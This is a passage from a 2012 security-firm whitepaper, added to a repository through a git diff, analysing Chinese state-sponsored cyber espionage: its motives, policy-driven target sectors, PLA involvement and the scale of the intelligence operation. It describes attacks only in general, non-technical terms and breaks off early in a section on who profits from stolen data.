diff --git "a/2012.clean.txt" "b/2012.clean.txt" new file mode 100644--- /dev/null +++ "b/2012.clean.txt" @@ -0,0 +1,19088 @@ +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Crouching Tiger, +Hidden Dragon, +Stolen Data +Context Information Security +whitepapers@contextis.com +March 2012 +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +1 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Contents +Executive Summary +Introduction +Categorising Attacks +Why Cyber? +How Cyber? +The Targets +The Requirements +Boosting Domestic Enterprise +At Risk +How Does it Happen? +Setting Requirements +Planning and Direction +Collection +Processing and Exploitation +Analysis and Production +Dissemination +The Scale of the Operation +Profiting from the Product +Hypothetical Case Study: Aircraft Construction +Conclusion +About Context +Appendix +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +2 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Executive Summary +Media reports show that targeted cyber attacks against government and commerce have +been ongoing since at least 2003 and possibly some time before that. By far the largest +sponsor of these attacks is the Chinese state. This is not a new problem; it is espionage with a +different methodology. +These attacks are far from random or indiscriminate. These attacks are designed to steal +information that will fulfil a clear set of requirements set by the Chinese state and furnish +them with political, commercial and security/intelligence information. These requirements +are carefully and clearly identified, shared with a number of government departments and +constantly updated. There is evidence of worldwide targeting but only a minority of attacks +are identified and fewer still made public. +This is a structured program and the main protagonists in China are widely believed to be +the Third Department of the People +s Liberation Army. Even using conservative estimates it is +likely that the program employs thousands of military personnel. While the military program +may be the most developed and sophisticated, it is likely that other parts of the Chinese +state and even the private sector may also be carrying out similar attacks. +There are clues to the companies and types of data most at risk. In particular the Five Year +Plan1 and the National Outline for Medium and Long Term S&T Development2 give detail on +the areas in which China intends to excel and identifies specific technology which the +Chinese want to develop or otherwise acquire. Electronics, telecoms, manufacturing, +extraction, energy, biotech, pharmaceuticals, aerospace, space and defence are sectors +at the highest risk, alongside companies and services such as law and accountancy firms +that support them and hold their data. +The likely recipients of stolen commercial data are the 117 Chinese State Owned Enterprises +that dominate the economy. These companies are closely linked to the state and the +Communist Party which has power over strategy, senior management and even wages. +Companies with SOE competitors should be especially concerned about data security. +Two factors make western governments and companies more vulnerable to Chinese +targeted cyber attacks. Firstly, there is reluctance for governments and companies to +accuse China directly or take any form of action for fear of either being isolated politically +or being blocked from a lucrative developing market. Secondly, a long term reliance on +traditional security products such as anti-virus, coupled with a lack of education about the +threat, leaves businesses vulnerable to attack and unprepared for any investigations that +are required in the aftermath of a compromise. +Context has extensive experience of detecting and investigating targeted attacks and +working with clients to help protect their data. +1 Chinese Government Official Web Portal website +2 China International Science and Technology Cooperation website +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +3 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Introduction +There have been many media reports in recent years about cyber attacks on governments +and a variety of private sector companies. The rather ambiguous term +Advanced Persistent +Threat +) is widely used to describe any attack that appears to have compromised +computers in these companies or organisations, regardless of the source or purpose of the +attack. We prefer simply to call them +targeted attacks + and leave marketing terms to one +side. This paper is not concerned with the technical aspects of targeted attacks, it seeks +instead to inform readers about the full scope and nature of these attacks, the reasons why +they are launched and the people and policies behind their design and execution. +Many reports of attacks inevitably end by asking +who did it? + But the answer is rarely +straightforward. Western Governments usually allege the attacks come from +Asia + or the +Far East +, rather than risk offending the Chinese government. Large corporations are +similarly vague in their descriptions of these events, for fear of harming lucrative business +arrangements. Security +experts + always caution that IP addresses can be used as hop +points through which attackers disguise their true origins, so perhaps this could be a case of +other countries trying to make it look as if China was the source. While this is true, if +something looks, walks and quacks like a duck, it is almost always a duck. +We will not be so coy. This paper will look directly at the most prolific sponsor of computer +network exploitation attacks: China. We know other countries have implemented similar +programs for attacking computer networks and have seen many examples of these in our +work over the last few years, but our focus here is China. +We will examine various aspects of these attacks, including the nature of the information +targeted and the types of organisations threatened. We will consider the effort involved in +planning, executing and managing these attacks; and assess the information products they +generate, in order to understand the scale of human involvement and the government +policies that sponsor information theft via targeted attacks. With all this in mind we will then +postulate on where the stolen information goes and how it may be used. +3 Advanced Persistent Threat has recently become a catch all term for targeted attacks +against computer networks and is often used to describe the malware. In fact, the term was +first coined by the United States Air Force in 2006, specifically to refer to China + without +actually saying China. +Advanced + because the attackers could use a variety of attacks to +get access to a network and could raise their game to use zero day vulnerabilities if +necessary; +Persistent + because the attacks would not stop until the attacker had achieved +their objectives; and +Threat + because this attack was not automated like a botnet, but was +conducted by humans who adapt and evolve their methods to evade defences. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +4 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Categorising Attacks +Many commentators have divided the targets of attacks into four categories: political, +economic, technical and military. This works as a general model, but focuses on the target +of the attack as a whole rather than considering the type of information the attacker seeks +to steal. If a criminal gang unleashes a phishing attack aimed at harvesting banking +credentials and it is the employees of a butchers shop and a bakery that fall victim to it, that +does not mean the attack was targeting bread and meat. +Bearing this in mind, we divide target areas into the following categories: +Political. The information targeted will inform the state on the political positions of +other governments on a range of issues, including economics, trade and human +rights. Typical targets are government departments, embassies, trade bodies, NGOs, +and international political groups such as the UN, G20, World Bank and IMF. +Commercial. The information targeted will be of value to the private sector within +that country (even if the lines between private and public sectors are blurred). It may +include IPR, product designs, negotiating positions for sales discussions, mergers and +acquisitions information and strategic plans (particularly in relation to the attacking +country). +Intelligence. The information targeted here will be used to safeguard internal security +by the attacker country (this may entail intimidation or close monitoring of minority or +opposition groups or individuals) and to enable analysis of the military technology, +capabilities and intentions of other countries. +There are a number of major problems that need to be overcome when seeking a +complete understanding of the scale and purpose of attacks. Many will never be detected, +those that are may not always be reported; and the vast majority are not investigated by +professionals with a good understanding of these types of attack. Dealing with the technical +aspects of the compromise alone is not enough: the victim needs to know why they were +being attacked, by whom, what data was stolen and where it may go. +While government agencies, such as the Centre for the Protection of National Infrastructure4 +(CPNI) in the UK and the FBI5 in the US, are working successfully with larger organisations to +identify potential threats, reduce the risk of successful attacks and in some cases to identify +and investigate specific compromises, this assistance is not available to every company. It is +not generally available to those that need it the most + companies that innovate and excel +in niche areas and supply technology or products that other companies make use of in +larger projects. These companies live and die by the success of their research and +development, but often lack the budgetary resources or expertise required to adequately +protect their networks from this type of threat. +Even when compromises are investigated by companies that understand the attackers and +their motives, it is often not felt to be in the interests of either party to publish the findings of +those investigations, or to share the results with the affected company +s competitors, who +4 http://www.cpni.gov.uk +5 http://www.fbi.gov/ +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +5 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +may be suffering from similar attacks. There is also a widespread lack of understanding of +targeted attacks among IT staff, a lack of dedicated IT security personnel and, sometimes as +a consequence of IT functions being outsourced, an over-reliance on traditional security +products such as anti-virus and firewalls + both of which are ineffective against even lower +end targeted attacks. The pressure exerted on IT staff from the business is primarily +concerned with service uptime and availability rather than security; and budgets for even +routine security operations such as penetration testing are under constant pressure. It is a +sad fact that, for many businesses, money for IT security only becomes available once a +serious problem has been identified, by which time it is often too late. +One more common problem in private sector companies is that some managers take the +attitude that they would prefer not to know about security problems. Information +Technology departments may worry that commissioning a detection exercise to find +compromised hosts in their environment, could reveal a series of attacks and the theft of +data, which might not be good for their career prospects. Higher up the management +chain, board members may even choose not to spend money on security on the grounds +that this will affect profitability and perhaps the size of their salaries or bonuses. They may +instead prefer to postpone any major spending on security until they absolutely have to. +Why Cyber? +Clearly, the Chinese government is keen to understand the political decisions taken by other +countries and the activities of opposition groups within China, so it is hardly surprising that it +orchestrates the compromise of computers via emailed Trojan attachments or links to +compromised websites on a large scale. This is nothing new; just traditional espionage with a +new methodology. +Until recently China, like most other developed countries, would have hand-picked +intelligence officers from universities and the military, trained them in the arts of developing +relationships, recruiting agents and how to covertly gather information to pass back to +Beijing. They would have been deployed to embassies overseas or under a business cover. +The arrival of the Internet did not sound the death knell for human spying, it simply offered +an attractive alternative. Moving espionage operations into the virtual world brings some +advantages. Firstly, it does not require anyone to be sent overseas. This is an important +change for the governments of communist countries, naturally suspicious of the long term +intentions of even their most trusted officials. It means there is less need to invest in lengthy +training processes. Instead, hacking operations can be broken down into simple tasks and +partly automated to minimise the need for operators with advanced technical skills. +Conducting these operations is cheap and carries a lesser risk than human espionage: even +if the target is fairly certain as to the origin of an attack, the sponsoring government can +claim to be a victim of mistaken identity or of a western conspiracy. +But the key benefit of this type of espionage is that any piece of information stored +anywhere in the world on a computer or a network connected to the Internet is only a few +clicks away from being stolen. There are even attacks that are designed to jump to +computers not connected to the Internet. If the prize is great enough and the attacker is +determined enough, there is always a way. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +6 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +How Cyber? +This paper is not concerned with + the attacks happen, which is a subject for a white +paper in its own right. Typically however, the attackers target the desktops and laptops of +the victim +s organisation and send emails with an attachment containing an exploit, (often +an Adobe PDF or Microsoft Office document) that is targeted at one person. Once the +victim opens the attachment the exploit executes, typically downloading and automatically +installing a Trojan, which the attacker can then use to access the victim +s system. The +attackers also utilise website vulnerabilities which exploit vulnerabilities in web browsers such +as Internet Explorer or Firefox to download malicious code onto a machine when a user +clicks on a link in an email. Once the attacker has this foothold on the network, they +typically look to download and use further hacking tools to escalate privileges to gain +administrative access to key internal servers such as Domain Controllers or File Servers. Once +achieved, the attackers typically use another remote desktop or laptop on the network to +collate the data stolen and exfilitrate it to their remote servers. +In the case that a network is fully patched and constitutes a hard target, the attackers can +respond and raise their game substantially. This could include exploiting a zero day +vulnerability6 or employing other means of installing an implant, such as using physical +access to introduce an attack or even attacking a supply chain. +The Targets +Despite opening up greatly over the last 15 years, China is still very much run by the +Communist Party. The Party has control over and involvement in every area of daily life, but +despite the internal focus, China is careful to keep an eye on the outside world and how the +country +s institutions and companies are perceived by foreign governments. An +understanding of other countries + political positions on key issues that affect China is key to +forward planning, especially for an economy built on cheap exports. +The governments in which the Chinese state is most interested fall into three groups: its +nearest neighbours: Japan, Taiwan, the disputed (semi-autonomous) Tibet, Mongolia and +the Muslim +Stans + to the west; other powerful states with international influence such as the +US, Russia, the UK, Germany, France and India; and finally states with strong economic links +to China including Brazil, Iran, Australia, parts of Africa and Southeast Asia. +Whilst China will not be interested in the entire spectrum of government affairs in each of +these countries, there will be some interest in some parts of all these governments + activities. +Gathering information on this scale is a massive task: monitoring relevant issues, identifying +individuals with access to that information and crafting attacks in the appropriate form and +language. +The other constant preoccupation of the Chinese government is the maintenance of +internal and external security. The enemies of the internal state are referred to as the +Five +Poisons +: the separatist Uighurs (a mainly Muslim group in Northeast China), Tibetan +separatists, pro-democracy supporters, supporters of an independent Taiwan and followers +of the religious group Falun Gong. Keeping tabs on these groups and on their known +supporters at home and overseas is another huge task. The Ministry of State Security monitors +6 A zero day vulnerability is one which is not publicly known and for which no patch exists. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +7 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +the communications between individuals and groups, a task made considerably easier +through the deployment of Trojans to compromise computer equipment. As a minimum, +security services would usually seek to steal email account login and password details in +order to be able to log in remotely and read emails. Google has confirmed this activity was +taking place on the Gmail accounts of Chinese dissidents.7 +China wants a clear picture of other countries + military activities in order to inform its own +tactical and strategic decisions. Human penetrations of foreign military organisations are +extremely difficult and carry significant risks, so relatively passive email attacks are an +excellent substitute activity, where no single incident can be seen as an act of aggression +meriting a military response. It remains to be seen whether thousands of attacks conducted +over a long period of time will come to be regarded as having been a provocative act +warranting a military response. +While China has been publicly + albeit mostly not directly + accused of carrying out attacks +against governments, military organisations and military contractors numerous times, there +are also plenty of examples of private sector organisations being targeted. Several stand +out from the last few years: the +Aurora8 + attacks that hit Google, Adobe, Juniper, Northrup +Grumman and others; the McAfee-dubbed +Night Dragon9 + attacks that struck companies +around the world in the energy sector; and the +Shady RAT 10 + attacks that affected the steel +industry, heavy engineering, construction and communications companies and others. +Interestingly, despite reporting on the intrusions, McAfee does not highlight the fact that antivirus software did little to stop the attacks in the first place. In all likelihood all these various +operations + formed part of the same attack, with different groups or military units carrying +out operations sponsored by the Chinese state. One attack that was clearly carefully +planned, and equally linked to the others, was that conducted against RSA11, whereby +attackers stole information which allowed them to replicate the SecurID tokens used by +companies to authenticate individuals logging onto their networks from remote locations. +Armed with those stolen credentials, an attacker would be able to log in to company +networks as if a real user. The full extent of this breach has not been publicly disclosed, +though we do know that Lockheed Martin was attacked and we can speculate that other +defence contractors were also targeted. As full details of what was stolen have never been +put into the public domain, we can only guess at the targeted information. Google claimed +Intellectual Property had been stolen, though no further details were given. But these +companies were all targeted for a reason. Data was identified that would somehow be of +use to China. We will look at who laid out the requirements for this data next. +7 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html +8 http://en.wikipedia.org/wiki/Operation_Aurora +9 http://www.mcafee.com/ca/resources/white-papers/wp-global-energy-cyberattacks- +night-dragon.pdf +10 http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf +11 http://www.rsa.com/node.aspx?id=3872 +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +8 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +The Requirements +We should never think of Chinese cyber attacks as +uncoordinated, random or indiscriminate. They target +companies, governments or individuals because a specific +requirement has been identified. Context has studied a +number of Chinese government policies, documents and +stated aspirations, as well as Chinese commercial structures, +which may show why targets may have been picked; and +may also help companies to gauge whether their business +should consider itself to be at risk of being targeted by a +Chinese attacker. +The key documents are the Five Year Plan and the National +Outline for Medium and Long Term S&T Development. We +will also theorise around the (unwritten) intelligence +requirements. We will then later investigate China +s state-owned enterprises as potential +generators of requests for material to be stolen via targeted attacks; and as consumers of +stolen data. +The Five Year Plan is a series of development initiatives, both social and economic, that set +high level goals for where the Communist Party would like to see the country in five years +time. The latest Plan was finalised in October 2010 and applies to the period 2011 + 2015. It +contains goals for urbanisation rates and targets for economic growth; details the foreign +industries that will be invited to do business in China, the scale of proposed construction +projects and areas of the country/economy where further development should be +encouraged. These high level goals filter down to all government departments at national, +regional and local level, where individual initiatives are managed. But the plan also hints at +the areas where China feels it needs to concentrate its efforts, or where it needs to catch up +with other countries elsewhere in the world. +However, targeted attacks are +state sponsored +, which means that it is not the government +that conducts the attack, but departments of the state or affiliated groups. When the +government decides that, for example, it requires intelligence relating to US military +operations in Afghanistan, different parts of the state intelligence apparatus will respond to +this requirement, each bringing different skill sets to bear on the problem of finding the +required information. For example, the People +s Liberation Army (PLA) has departments with +access to satellite photography, which could provide information on troop movements. +Another department may have access to Signals Intelligence (SIGINT), which intercepts +communications. Chinese diplomats in the country will speak with their Afghan counterparts +about the situation, while intelligence officers, perhaps in diplomatic or even non-official +roles, are able to exploit human agents with access to useful reporting. To complement all of +these sources, cyber attacks can be used against a variety of targets such as the Pentagon, +military forces in theatre, the US embassy, defence contractors and representatives of the +UN and NATO. As cyber proves its worth (if it hasn +t already) other parts of the government +will seek to develop their own cyber capability to add to their existing capabilities, not +wishing to be outshone by competing departments. +One of the points on the Five Year Plan for instance is +More efficient development of +nuclear power under the precondition of ensured safety +, which could suggest that any +information gathering attacks against the nuclear energy industry (as opposed to sabotage +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +9 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +or Stuxnet12 style attacks) could be carried out with the express intention of supporting this +part of the Plan. +The attacks could be directed against nuclear plants themselves in an attempt to obtain +operating information; construction companies, to steal building plans (which may also be +of value to the military in case of war); regulatory bodies for rules, policies and procedures; +and any of the hundreds of companies that build parts for the plant or develop technology +used in the nuclear process. +In terms of who could be carrying out the attacks, we have to consider not only the military +(the Third Department of the PLA has the remit for cyber operations, though other areas are +likely to have some capability too), but also nuclear construction companies, the +government department with a remit for the energy industry, or any of the hacking groups +that are closely affiliated to the state. Different campaigns may even be competing to steal +the same information with the rewards going to the attackers who get it first. +The Plan also advocates the development of high-end manufacturing, hi-tech industry, +modern agriculture, high-speed rail and hydropower. The Plan does not explain in any detail +how this development will be achieved, although in some cases it does specify that certain +areas will be prioritised for direct foreign investment. In these cases, foreign firms are invited +to partner with local firms to complete a project and engage in +technology transfer +. This +means (officially) that the Chinese company will learn skills from the foreign company and +develop their own capabilities in the area. Unofficially, it generally ends up with the foreign +company having its IP and technology stolen and then finding that it no longer has an +invitation to do business in the country. +One good example of technology transfer can be seen in the area of high speed railways. +Originally, trains were purchased from Kawasaki, Siemens and Bombardier and these +manufacturers helped create the first high speed lines which opened in 2007. Soon +afterwards China started to build its own high speed trains, modelled on those imported, but +with reconfigured components. There is an ongoing legal case brought by Kawasaki and +other Japanese companies relating to Chinese companies attempting to patent Kawasaki +technology associated with high speed rail13. The current Chinese patent laws specify that +the owner of a patent registered in China must be Chinese and that the Chinese holder will +also be favoured over any foreign claim for the same technology. +In July 2011 two high speed trains collided near Wenzhou, killing (according to state media) +40 people. There were concerns that the trains contained stolen foreign technology and it +has been suggested that this is why the wreckage was buried even before the rescue +operation had been completed. It has also been suggested in certain quarters that burying +the wreckage stopped any investigation by the manufacturers into what went wrong (and +whether or not there was stolen technology present). This action attracted widespread +criticism of the government, even from some sources within China. +12 http://www.bbc.co.uk/news/technology-11388018 +13 http://online.wsj.com/article/SB10001424052748704814204575507353221141616.html +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +10 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Boosting Domestic Enterprise +If the Five Year Plan is short on detail, the National Outline for Medium and Long Term S&T +Development is not. This policy essentially sets out the requirement for +Indigenous +Innovation +, the areas where China should not rely on western technology, but should +develop a home-grown alternative. The strong desire for domestic products stems from two +issues. Firstly a suspicion that foreign technology could be used covertly in ways for which it +was not originally intended it would be used (for the benefit of the attacking country). +Secondly because in order to sustain high growth rates and satisfy domestic consumption it +is better if China manufactures products of equal capability and sells them to its own market +than it is to import goods at high prices. The plan for Indigenous Innovation drills down into +each of the areas where China wants to develop a capability in some detail, even setting +out priorities. The list of eleven areas comprises: +Energy. Oil and gas exploration, distribution and power grids, low cost renewable +energy, coal liquefaction, industrial energy efficiency +Water and Mineral Resources. Distribution, conservation, desalination, zoning and +development of resources +Environment. Pollutant control and recycling, restoration of vulnerable ecosystems, +maritime ecosystem protection, environmental change +Agriculture. Genetic resource development, disease prevention, use of agro-forest +biomass, multifunctional farming equipment, modern dairy industry +Manufacturing Industry. Basic/generic parts/components, digital intelligent design, +recycling iron and steel, marine engineering technology, engineering processes for +the defence industry +Transportation. Construction and maintenance technology, high speed rail, energy +efficient cars, traffic control systems, alternative fuel based cars +Modern Service Industry. Next generation Internet technology, high performance +computers, digital media content platforms, HD displays +Population / Health. Treatment of diseases, medical processes +Urbanisation. Green buildings, architectural energy efficiencies +Public Security. Security warning systems, bio-safety measures +Defence. [Classified] +In addition to these areas, which already contain a lot of areas that targeted western +companies operate in, there is a further list of 16 +Major Special Projects +. These projects are +intended to add to the overall strength of China. Previous examples of such projects include +the development of the hydrogen bomb, launching satellites, manned space flights and +hybrid rice. They are intended also to be a source of national pride. If one can see the +potential for cyber attack to enhance many of the areas outlined above, the list below +gives even more scope for the targeted theft of data from companies and governments +around the world: +Core electronic components, high-end general use chips and basic software +products +Large-scale integrated circuit manufacturing equipment and techniques +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +11 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +New generation broadband wireless mobile communication networks +Advanced numeric-controlled machinery and basic manufacturing technology +Large-scale oil and gas exploration +Large advanced nuclear reactors +Water pollution control and treatment +Breeding new varieties of genetically modified organisms +Pharmaceutical innovation and development +Control and treatment of AIDS, hepatitis, and other major diseases +Large aircraft +High-definition earth observation system +Manned spaceflight and lunar probe programs +Classified military projects (x3) +If we take the Major Special Projects as a Chinese technology wish list, we can assume there +are two different methods that could be used to achieve these goals. The first involves +funding research programmes in universities and companies, educating people over the +long term and encouraging a culture of research, development and innovation and an +acceptance that achievements in some areas will fall short of expectation. +The second way of viewing the challenge is that much of this technology already exists in +the rest of the world, is already proven and is (relatively) easy to obtain. Far easier to steal +the work of others, re-engineer it, improve it if practicable and necessary and be seen to be +contributing to the progression of the Chinese state; and to do so may also be personally +rewarding for members of the Party. Failure to achieve these goals would almost certainly +be seen as unacceptable. +At Risk +The companies that generate the target information are not the only ones at risk. We can +also assume that the companies that support these areas + lawyers, sub-contractors, +outsourced suppliers and any government departments with links to these firms, would also +be attacked as part of an effort to find supporting information. +So long as the product is intended for domestic consumption only, in many cases there are +minimal problems for the company targeted to have to face. Many firms would be unwilling +or unable to sell their products into China anyway + either because of a lack of global +distribution networks, or because of export restrictions, in the case of sensitive military +technologies, so the sale of an identical, stolen product would not directly harm their +business. +For example, a company that makes hi-tech export controlled widgets for the US military is +unlikely to be able to sell its product in China to the Chinese military. In any case, the +Chinese military would probably prefer to buy a Chinese product. If the widget designs are +stolen and a Chinese company makes the exact same widget, protected by a Chinese +patent, the end product could be sold to the PLA. While the original manufacturer may +rightly be concerned by this, the company would not suffer financially. Until, that is, the +product made by the Chinese firm is offered for sale around the world at a much cheaper +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +12 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +price than that for which the original product is sold, because the Chinese firm has not +needed to fund R&D. At this point, buyers who simply want a widget that works will buy the +cheaper one. +The National Outline document goes on to specify +Frontier Technologies +: areas such as +biotech, IT, advanced materials and manufacturing technologies, energy and marine +technology, lasers and (again) aerospace, all areas in which the West has traditionally +excelled and China has lagged behind. +The other key area that could lead to a requirement for cyber attacks is China +intelligence-gathering operation. This area is primarily controlled by the Party rather than the +intelligence services themselves. Requirements in this area are likely to incorporate generic +tasks to infiltrate and disrupt the activities of the Five Poisons (see above), to gather military +secrets from overseas and highlight politically useful information. That could be, for example, +intelligence on economic policies of the Eurozone countries regarding China, NATO plans +for Afghanistan, international efforts to negotiate with North Korea or reports into human +rights abuses. +The intelligence services will use all of their sources + HUMINT, SIGINT and cyber + to address +these requirements. As the list is never published we can only guess at what it contains, but +one may speculate that if intensive investigations focused on the detection of cyber attacks +against the Five Poisons (the GhostNet14 report was an excellent start), it is likely that the +same malware and infrastructure would be revealed to have been deployed. +14 http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber- +Espionage-Network +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +13 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +How Does it Happen? +If we consider only the Chinese cyber attacks that have been reported we are only looking +at the tip of the iceberg. First, we tend only to see reports of British or American firms being +attacked, and we know that only a tiny minority of incidents are reported, because firms are +either unaware they have been attacked or are afraid that publicising an incident will +damage their brand, their company value or their personal careers. It is also likely that there +is a huge number of small to medium sized enterprises around the world that have no idea +that their crown jewels have been stolen. +Governments are unlikely to admit having lost data or to accuse China directly, for fear of +risking negative political and economic consequences. Individual victims living in China will +be unable to complain at the intrusion to their privacy, while those outside China may have +little recourse to any organisation which would take their claims seriously. +To map out the process and try to think about the scale of the attacks we must start with a +classic diagram of the intelligence cycle. +Setting Requirements +As we have already seen, China has no issue in identifying requirements. These lie across the +industrial, social and economic spectrum and represent the results of a mammoth effort to +identify weaknesses and areas for further development. Given that the requirements are +largely focussed around technical, economic and commercial development rather than +social development it is fair to expect that this exercise was not conducted by government +alone, but must have been supplemented by private sector (so far as there is one). +However, the setting of requirements covers many more areas than just cyber, so it would +not be correct to regard this effort as having been conducted simply to support electronic +attacks. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +14 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Planning and Direction +This is where things get a little bit complicated. Planning and direction activities take place +on multiple levels + at a Party level, regional level, local level, within every key government +department, inside every company with a stake in fulfilling the requirements; and especially +within the military, who evidence suggests are behind the bulk of targeted attacks. +Collection +This area covers the whole process of target +identification, malware development, crafting the +attacks, designing the social engineering, initiating +attacks, controlling implants, escalating privileges on +the victim network, uploading further tools to maintain +and develop access, finding and exfiltrating data of +interest, and cleaning up traces of the attack to hinder +investigations. +It also requires infrastructure (owned or stolen) to be +constructed to support the attack, IP addresses or +domain names updated into the implants, training of +operators, language skills, management and some +form of quality control process to enable some visibility +over how well attacks are progressing. +While much of the attack process can be automated +or simplified so it can be delegated to less technically +adept operators, the scale of the attack is such that +many skilled hackers will be needed in an advisory capacity, to conduct manual elements +of the attack, to maintain a development program and, in some cases, to share details of +the latest attack vectors and vulnerabilities with those tasked with cyber defence to protect +Chinese systems from similar attacks. There will also almost certainly be an administration +process that logs attacks and targets, collates information on target systems, feeds data into +some form of risk assessment and ensures that all ongoing attacks are focussed on the +attainment of a specific requirement. This is no small operation. +Processing and Exploitation +If 1,000 attacks are successful and all result in large amounts of data being stolen from +compromised systems, that data needs to be put into a readable format (and decrypted if +necessary), made searchable, stored in a database and translated into Chinese + and all +these operations have to be carried out in bulk and in real time or something close to it, to +allow that information to be used as quickly and effectively as possible. Of course, the +actual number of active compromises at any one time is likely to be many magnitudes +higher than 1,000! +Analysis and Production +The first problem with analysing bulk amounts of data translated from other languages is +that machine translation is often of low quality, particularly for data such as emails written +using more colloquial terms. The second issue is that a large proportion of the stolen +documents is likely to be of a highly technical nature: If you steal documents from a widget +maker then you need at least a basic knowledge of widgets to be able to understand the +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +15 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +potential value of a document and how best to exploit it. If there is a lot of widget data you +will need a lot of widget specialists or risk the data being out of date by the time it is +analysed. And just because someone understands widgets doesn +t mean that they +understand gizmos, so another team will be required to look at that data + and so on. These +analysts will provide feedback to operators, perhaps saying +get more +, or +this is no good, +get something else +. They may also provide search terms for documents. All this analysis will +then need to be written up into reports which should try to protect the source of the +information. +Dissemination +If the information is to be useful the reporting process has to be fast, in order to get useful +information to the right people. Dissemination of intelligence reports to security and +intelligence officers should be straightforward as all people in the process will have +clearances. But we can assume (although there are no guarantees) that this information is +highly classified and dissemination is carefully controlled, which makes disseminating it to +government officials a little more difficult, especially if those officials are based outside +Beijing, because encrypted links or maybe a network of trusted couriers will be required to +transport the reports. +The most difficult task will be delivering reports on commercial or technical development to +the right people. The most trusted individuals will be at the top of organisations, probably as +a result of their loyalty to the Party, but these are not necessarily the people able to +understand, interpret and exploit the information contained within the report. So the report +or elements of it must be passed downwards to those who do understand it. This means a +significant increase in the number of people who are aware, which represents a significant +risk. The Party must also decide to which companies it will pass information + if five +companies all produce widgets do you give the information on next generation widgets to +one of them, or all of them? We will look at one way the Party addresses this issue below. +Getting the dissemination right should in turn generate more requirements and help to +create a more refined requirement to feed back into the process and drive the next data +acquisition cycle. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +16 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +The Scale of the Operation +Most authorities attribute responsibility for cyber attacks and intelligence gathering to the +Third Department of the PLA (3PLA) and accept that the Second Department (2PLA) may +also have a role to play. Accurate figures for the size of these Departments are not publicly +available, but the more success the attackers have, the more funding they are likely to get +for further attacks. Other branches of the military may then see the possibility for increased +funding and political glory by competing in the same space. One very thorough report by +Project 204915, a group who analyse the Asian security landscape among other topics, +details the Third Department of the PLA and outlines their broader activities and structure. +Their role is primarily SIGINT aimed at intercepting radio, telecoms and email +communications and reporting the content as intelligence. The report contains a figure +(though they make clear this is estimated) of 130,000 people being part of the 3PLA. The +2PLA is concerned with Human Intelligence (HUMINT) as well as SIGINT to support its military +intelligence mission. +So trying to work out how many people are involved in this process is only ever going to be +based on educated guesswork. If we look simply at the effort in the 3PLA, put aside all other +groups for now and take the figure of 130,000 as true, there is a very large pool of available +personnel who are able to support cyber operations. However, as we have stated above, +the 3PLA has a remit broader than simply cyber and other areas are far more established. +Numbers working in the requirements capture and planning area are probably in the low +hundreds. Trying to gauge the size of the collection effort is difficult and requires a large +margin of error. But it is fair to assume that several hundred people could do the target +development work; around a hundred dedicated specialists could work on malware +development (with the Chinese hacking community providing new tools at regular +intervals); perhaps one or two thousand low level operators (the + team) supported by +another few hundred with more advanced skills (the + team) who look after the most +sensitive intrusions; an infrastructure team of a few dozen; and an operational security team +of a few dozen more. +Then come the processing and analysis experts: potentially a pool of several thousand +specialists able to read and write in a wide variety of languages; hundreds if not thousands +of specialists in all of the fields of information being stolen + politics, economics, engineering, +IT, science, etc; hundreds of report writers; dozens of people processing data; and dozens +more administering the whole process. +If these very rough figures are anywhere close to reality, at least 7,000 people are directly +involved in hacking foreign computer networks for the Chinese military and processing the +output of those attacks. Potentially many thousands more see the reporting and are aware +of the sorts of results generated by these operations. +15http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +17 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Profiting from the Product +So who is most likely to profit from the information being gathered through these attacks? +The political, economic and intelligence reporting has a clear audience, but deciding who +the commercial intelligence should be passed to presents a more taxing problem. 